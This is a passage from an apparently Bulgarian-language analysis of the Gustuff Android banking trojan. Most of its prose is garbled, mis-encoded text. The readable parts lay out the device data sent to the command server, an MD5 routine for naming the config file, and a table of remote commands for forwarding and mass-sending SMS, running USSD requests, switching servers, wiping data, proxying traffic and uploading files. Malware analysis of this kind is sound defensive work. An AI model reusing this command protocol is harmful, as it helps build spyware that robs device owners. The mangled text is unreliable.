ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ ΠΈ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ β Π½Π΅Π·Π°Π΄ΡΠ»ΠΆΠΈΡΠ΅Π»Π΅Π½ ΠΈ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΡΠ°ΡΠ΅Π½ ΡΠ°ΠΌΠΎ Π² ΡΠ»ΡΡΠ°ΠΉ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° Π·Π°ΡΠ²ΠΊΠ° ΠΎΡ CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Π‘ΡΡ ΡΠ°Π½ΡΠ²Π°Π½Π΅ Π½Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ
Gustuff ΡΡΡ ΡΠ°Π½ΡΠ²Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎ Π²Π°ΠΆΠ½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π²ΡΠ² ΡΠ°ΠΉΠ» Ρ ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Π½ΠΈΡ. ΠΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π°, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΈΠΌΠ΅Π½Π°ΡΠ° Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ Π² Π½Π΅Π³ΠΎ, ΡΠ° ΡΠ΅Π·ΡΠ»ΡΠ°Ρ ΠΎΡ ΠΈΠ·ΡΠΈΡΠ»ΡΠ²Π°Π½Π΅ Π½Π° ΡΡΠΌΠ°ΡΠ° MD5 ΠΎΡ Π½ΠΈΠ·Π° 15413090667214.6.1<%ΠΈΠΌΠ΅%>ΠΡΠ΄Π΅ΡΠΎ <%name%> β ΠΏΡΡΠ²ΠΎΠ½Π°ΡΠ°Π»Π½ΠΎ ΠΈΠΌΠ΅-ΡΡΠΎΠΉΠ½ΠΎΡΡ. ΠΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΡ Π½Π° Python Π½Π° ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π·Π° Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΈΠΌΠ΅Π½Π°:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
ΠΠΎ-Π½Π°ΡΠ°ΡΡΠΊ ΡΠ΅ Π³ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ°Π²Π°ΠΌΠ΅ ΠΊΠ°ΡΠΎ nameGenerator(Π²Ρ
ΠΎΠ΄).
Π’Π°ΠΊΠ° ΡΠ΅ ΠΏΡΡΠ²ΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° ΡΠ°ΠΉΠ»Π° Π΅: nameGenerator("API_SERVER_LIST"), ΡΡΠ΄ΡΡΠΆΠ° ΡΡΠΎΠΉΠ½ΠΎΡΡΠΈ ΡΡΡ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΈΠΌΠ΅Π½Π°:
ΠΠΌΠ΅ Π½Π° ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° | Π‘ΡΠΎΠΉΠ½ΠΎΡΡ |
---|---|
nameGenerator("API_SERVER_LIST") | Π‘ΡΠ΄ΡΡΠΆΠ° ΡΠΏΠΈΡΡΠΊ Ρ CnC Π°Π΄ΡΠ΅ΡΠΈ ΠΏΠΎΠ΄ ΡΠΎΡΠΌΠ°ΡΠ° Π½Π° ΠΌΠ°ΡΠΈΠ². |
nameGenerator("API_SERVER_URL") | Π‘ΡΠ΄ΡΡΠΆΠ° CnC Π°Π΄ΡΠ΅ΡΠ°. |
nameGenerator("SMS_UPLOAD") | Π€Π»Π°Π³ΡΡ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. ΠΠΊΠΎ ΡΠ»Π°Π³ΡΡ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½, ΠΈΠ·ΠΏΡΠ°ΡΠ° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΄ΠΎ CnC. |
nameGenerator("SMS_ROOT_NUMBER") | Π’Π΅Π»Π΅ΡΠΎΠ½Π΅Π½ Π½ΠΎΠΌΠ΅Ρ, Π½Π° ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ°Ρ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡΡΠ°, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ. ΠΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ Π΅ Π½ΡΠ»Π°. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | Π€Π»Π°Π³ΡΡ Π΅ ΠΈΠ·ΡΠΈΡΡΠ΅Π½ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. ΠΠΊΠΎ Π΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½, ΠΊΠΎΠ³Π°ΡΠΎ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ ΠΏΠΎΠ»ΡΡΠΈ SMS, ΡΠΎΠΉ ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ ΠΎΡΠ½ΠΎΠ²Π½ΠΈΡ Π½ΠΎΠΌΠ΅Ρ. |
nameGenerator("DEFAULT_APP_SMS") | Π€Π»Π°Π³ΡΡ Π΅ ΠΈΠ·ΡΠΈΡΡΠ΅Π½ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. ΠΠΊΠΎ ΡΠΎΠ·ΠΈ ΡΠ»Π°Π³ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π° Π²Ρ ΠΎΠ΄ΡΡΠΈΡΠ΅ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ. |
nameGenerator("DEFAULT_ADMIN") | Π€Π»Π°Π³ΡΡ Π΅ ΠΈΠ·ΡΠΈΡΡΠ΅Π½ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. ΠΠΊΠΎ ΡΠ»Π°Π³ΡΡ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠΌΠ° Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡΠΊΠΈ ΠΏΡΠ°Π²Π°. |
nameGenerator("DEFAULT_ACCESSIBILITY") | Π€Π»Π°Π³ΡΡ Π΅ ΠΈΠ·ΡΠΈΡΡΠ΅Π½ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅. ΠΠΊΠΎ ΡΠ»Π°Π³ΡΡ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½, ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΡΡΠ»ΡΠ³Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ. |
nameGenerator("APPS_CONFIG") | JSON ΠΎΠ±Π΅ΠΊΡ, ΠΊΠΎΠΉΡΠΎ ΡΡΠ΄ΡΡΠΆΠ° ΡΠΏΠΈΡΡΠΊ Ρ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ, ΠΊΠΎΠΈΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π°Ρ ΠΈΠ·Π²ΡΡΡΠ΅Π½ΠΈ, ΠΊΠΎΠ³Π°ΡΠΎ ΡΠ΅ Π·Π°Π΄Π΅ΠΉΡΡΠ²Π° ΡΡΠ±ΠΈΡΠΈΠ΅ Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ, ΡΠ²ΡΡΠ·Π°Π½ΠΎ Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. |
nameGenerator("APPS_INSTALLED") | Π‘ΡΡ ΡΠ°Π½ΡΠ²Π° ΡΠΏΠΈΡΡΠΊ Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΈ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ. |
nameGenerator("IS_FIST_RUN") | Π€Π»Π°Π³ΡΡ ΡΠ΅ Π½ΡΠ»ΠΈΡΠ° ΠΏΡΠΈ ΠΏΡΡΠ²ΠΎΡΠΎ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅. |
nameGenerator("UNIQUE_ID") | Π‘ΡΠ΄ΡΡΠΆΠ° ΡΠ½ΠΈΠΊΠ°Π»Π΅Π½ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ. ΠΠ΅Π½Π΅ΡΠΈΡΠ° ΡΠ΅, ΠΊΠΎΠ³Π°ΡΠΎ Π±ΠΎΡΡΡ ΡΠ΅ ΡΡΠ°ΡΡΠΈΡΠ° Π·Π° ΠΏΡΡΠ²ΠΈ ΠΏΡΡ. |
ΠΠΎΠ΄ΡΠ» Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ ΡΡΡΠ²ΡΡΠ°
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΡΡ ΡΠ°Π½ΡΠ²Π° Π°Π΄ΡΠ΅ΡΠΈΡΠ΅ Π½Π° CnC ΡΡΡΠ²ΡΡΠΈΡΠ΅ ΠΏΠΎΠ΄ ΡΠΎΡΠΌΠ°ΡΠ° Π½Π° ΠΌΠ°ΡΠΈΠ², ΠΊΠΎΠ΄ΠΈΡΠ°Π½ ΠΎΡ Base85 Π»ΠΈΠ½ΠΈΠΈ. Π‘ΠΏΠΈΡΡΠΊΡΡ Π½Π° CnC ΡΡΡΠ²ΡΡΠΈΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΠΏΡΠΎΠΌΠ΅Π½Π΅Π½ ΠΏΡΠΈ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΡΠ²Π΅ΡΠ½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°, ΠΊΠ°ΡΠΎ Π² ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Π°Π΄ΡΠ΅ΡΠΈΡΠ΅ ΡΠ΅ Π±ΡΠ΄Π°Ρ ΡΡΡ ΡΠ°Π½Π΅Π½ΠΈ Π²ΡΠ² ΡΠ°ΠΉΠ» Ρ ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Π½ΠΈΡ.
Π ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π½Π° Π·Π°ΡΠ²ΠΊΠ°ΡΠ° ΡΡΡΠ²ΡΡΡΡ ΠΈΠ·ΠΏΡΠ°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΊΡΠΌ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ. ΠΠ°ΡΠ»ΡΠΆΠ°Π²Π° Π΄Π° ΡΠ΅ ΠΎΡΠ±Π΅Π»Π΅ΠΆΠΈ, ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΠΈ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ ΡΠ° ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π΅Π½ΠΈ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ JSON. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ:
ΠΡΠ±ΠΎΡ | ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ |
---|---|
Π½Π°ΠΏΡΠ΅Π΄Π‘ΡΠ°ΡΡ | ΠΠ°ΠΏΠΎΡΠ½Π΅ΡΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠ°ΡΠ΅ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ, ΠΊΡΠΌ CnC ΡΡΡΠ²ΡΡΠ°. |
Π½Π°ΠΏΡΠ΅Π΄Π‘ΠΏΡΠΈ | Π‘ΠΏΡΠ΅ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ΡΠΎ Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Π΄ΠΎ CnC ΡΡΡΠ²ΡΡΠ°. |
ussdRun | ΠΠ·ΠΏΡΠ»Π½Π΅ΡΠ΅ USSD Π·Π°ΡΠ²ΠΊΠ°. ΠΠΎΠΌΠ΅ΡΡΡ, ΠΊΡΠΌ ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ USSD Π·Π°ΡΠ²ΠΊΠ°, ΡΠ΅ Π½Π°ΠΌΠΈΡΠ° Π² JSON ΠΏΠΎΠ»Π΅ΡΠΎ βΠ½ΠΎΠΌΠ΅Ρβ. |
ΠΈΠ·ΠΏΡΠ°ΡΠΈ SMS | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ Π΅Π΄Π½ΠΎ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ (Π°ΠΊΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ, ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ βΡΠ°Π·Π΄Π΅Π»Ρβ Π½Π° ΡΠ°ΡΡΠΈ). ΠΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΡΠΈΠ΅ΠΌΠ° JSON ΠΎΠ±Π΅ΠΊΡ, ΡΡΠ΄ΡΡΠΆΠ°Ρ ΠΏΠΎΠ»Π΅ΡΠ°ΡΠ° βtoβ - Π½ΠΎΠΌΠ΅ΡΠ° Π½Π° Π΄Π΅ΡΡΠΈΠ½Π°ΡΠΈΡΡΠ° ΠΈ βbodyβ - ΡΡΠ»ΠΎΡΠΎ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ. |
ΠΈΠ·ΠΏΡΠ°ΡΠΈSmsAb | ΠΠ·ΠΏΡΠ°ΡΠ°ΠΉΡΠ΅ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ (Π°ΠΊΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ βΡΠ°Π·Π΄Π΅Π»Ρβ Π½Π° ΡΠ°ΡΡΠΈ) Π΄ΠΎ Π²ΡΠΈΡΠΊΠΈ Π² ΡΠΏΠΈΡΡΠΊΠ° Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ. ΠΠ½ΡΠ΅ΡΠ²Π°Π»ΡΡ ΠΌΠ΅ΠΆΠ΄Ρ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ΡΠΎ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΅ 10 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ. Π’ΡΠ»ΠΎΡΠΎ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ Π΅ Π² JSON ΠΏΠΎΠ»Π΅ΡΠΎ βΡΡΠ»ΠΎβ |
ΠΈΠ·ΠΏΡΠ°ΡΠΈSmsMass | ΠΠ·ΠΏΡΠ°ΡΠ°ΠΉΡΠ΅ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ (Π°ΠΊΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ, ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ βΡΠ°Π·Π΄Π΅Π»Ρβ Π½Π° ΡΠ°ΡΡΠΈ) Π΄ΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈΡΠ΅, ΠΏΠΎΡΠΎΡΠ΅Π½ΠΈ Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. ΠΠ½ΡΠ΅ΡΠ²Π°Π»ΡΡ ΠΌΠ΅ΠΆΠ΄Ρ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ΡΠΎ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΅ 10 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ. ΠΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΡΠΈΠ΅ΠΌΠ° JSON ΠΌΠ°ΡΠΈΠ² (ΠΏΠΎΠ»Π΅ΡΠΎ βsmsβ), ΡΠΈΠΈΡΠΎ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ ΡΡΠ΄ΡΡΠΆΠ°Ρ ΠΏΠΎΠ»Π΅ΡΠ°ΡΠ° βΠ΄ΠΎβ - Π½ΠΎΠΌΠ΅ΡΠ° Π½Π° Π΄Π΅ΡΡΠΈΠ½Π°ΡΠΈΡΡΠ° ΠΈ βΡΡΠ»ΠΎΡΠΎβ - ΡΡΠ»ΠΎΡΠΎ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ. |
changeServer | Π’Π°Π·ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠΈΠ΅ΠΌΠ΅ ΡΡΠΎΠΉΠ½ΠΎΡΡ Ρ ΠΊΠ»ΡΡΠ° βurlβ ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ β ΡΠΎΠ³Π°Π²Π° Π±ΠΎΡΡΡ ΡΠ΅ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ° Π½Π° nameGenerator(βSERVER_URLβ) ΠΈΠ»ΠΈ βarrayβ β ΡΠΎΠ³Π°Π²Π° Π±ΠΎΡΡΡ ΡΠ΅ Π·Π°ΠΏΠΈΡΠ΅ ΠΌΠ°ΡΠΈΠ²Π° Π² nameGenerator (βAPI_SERVER_LISTβ) ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΡΠΎΠΌΠ΅Π½Ρ Π°Π΄ΡΠ΅ΡΠ° Π½Π° CnC ΡΡΡΠ²ΡΡΠΈΡΠ΅. |
adminNumber | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ ΠΏΡΠΎΠ΅ΠΊΡΠΈΡΠ°Π½Π° Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Ρ ΠΊΠΎΡΠ΅Π½ Π½ΠΎΠΌΠ΅Ρ. ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΡΠΈΠ΅ΠΌΠ° JSON ΠΎΠ±Π΅ΠΊΡ ΡΡΡ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ: βΠ½ΠΎΠΌΠ΅Ρβ β ΠΏΡΠΎΠΌΡΠ½Π° Π½Π° nameGenerator(βROOT_NUMBERβ) Π½Π° ΠΏΠΎΠ»ΡΡΠ΅Π½Π°ΡΠ° ΡΡΠΎΠΉΠ½ΠΎΡΡ, βresendβ β ΠΏΡΠΎΠΌΡΠ½Π° Π½Π° nameGenerator(βSMS_ROOT_NUMBER_RESENDβ), βsendIdβ β ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π΄ΠΎ nameGenerator(βROOT_NUMBERβ ) ΡΠ½ΠΈΠΊΠ°Π»Π΅Π½ ΠΠ. |
updateInfo | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Π΄ΠΎ ΡΡΡΠ²ΡΡΠ°. |
ΠΈΠ·ΡΡΠΈΠ²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈΡΠ΅ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π° Π·Π° ΠΈΠ·ΡΡΠΈΠ²Π°Π½Π΅ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ Π΄Π°Π½Π½ΠΈ. Π Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ ΡΠΎΠ²Π° Ρ ΠΊΠ°ΠΊΠ²ΠΎ ΠΈΠΌΠ΅ Π΅ ΡΡΠ°ΡΡΠΈΡΠ°Π½ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΠΈΠ»ΠΈ Π΄Π°Π½Π½ΠΈΡΠ΅ ΡΠ΅ ΠΈΠ·ΡΡΠΈΠ²Π°Ρ Π½Π°ΠΏΡΠ»Π½ΠΎ Ρ ΡΠ΅ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ (ΠΎΡΠ½ΠΎΠ²Π΅Π½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»), ΠΈΠ»ΠΈ ΡΠ΅ ΠΈΠ·ΡΡΠΈΠ²Π°Ρ ΡΠ°ΠΌΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ Π΄Π°Π½Π½ΠΈ (Π²ΡΠΎΡΠΈΡΠ΅Π½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»). |
ΡΠΎΡΠ°ΠΏΠΈΠ‘ΡΠ°ΡΡ | Π‘ΡΠ°ΡΡΠΈΡΠ°ΠΉΡΠ΅ ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°. Π Π°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΌΠΎΠ΄ΡΠ»Π° Π΅ ΠΎΠΏΠΈΡΠ°Π½Π° Π² ΠΎΡΠ΄Π΅Π»Π΅Π½ ΡΠ°Π·Π΄Π΅Π». |
ΡΠΎΡΠ°ΠΏΠΈΠ‘ΠΏΡΠΈ | Π‘ΠΏΡΠ΅ΡΠ΅ ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°. |
ΠΎΡΠ²ΠΎΡΠΈ Π»ΠΈΠ½ΠΊ | Π‘Π»Π΅Π΄Π²Π°ΠΉΡΠ΅ Π²ΡΡΠ·ΠΊΠ°ΡΠ°. ΠΡΡΠ·ΠΊΠ°ΡΠ° ΡΠ΅ Π½Π°ΠΌΠΈΡΠ° Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° JSON ΠΏΠΎΠ΄ ΠΊΠ»ΡΡΠ° βurlβ. βandroid.intent.action.VIEWβ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΠΎΡΠ²Π°ΡΡΠ½Π΅ Π½Π° Π²ΡΡΠ·ΠΊΠ°ΡΠ°. |
uploadAllSms | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ Π²ΡΠΈΡΠΊΠΈ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ, Π΄ΠΎ ΡΡΡΠ²ΡΡΠ°. |
uploadAllPhotos | ΠΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ ΠΊΡΠΌ URL. URL Π°Π΄ΡΠ΅ΡΡΡ ΠΈΠ΄Π²Π° ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ. |
ΠΊΠ°ΡΠΈ ΡΠ°ΠΉΠ» | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ ΡΠ°ΠΉΠ» Π½Π° URL ΠΎΡ Π·Π°ΡΠ°Π·Π΅Π½ΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ. URL Π°Π΄ΡΠ΅ΡΡΡ ΠΈΠ΄Π²Π° ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ. |
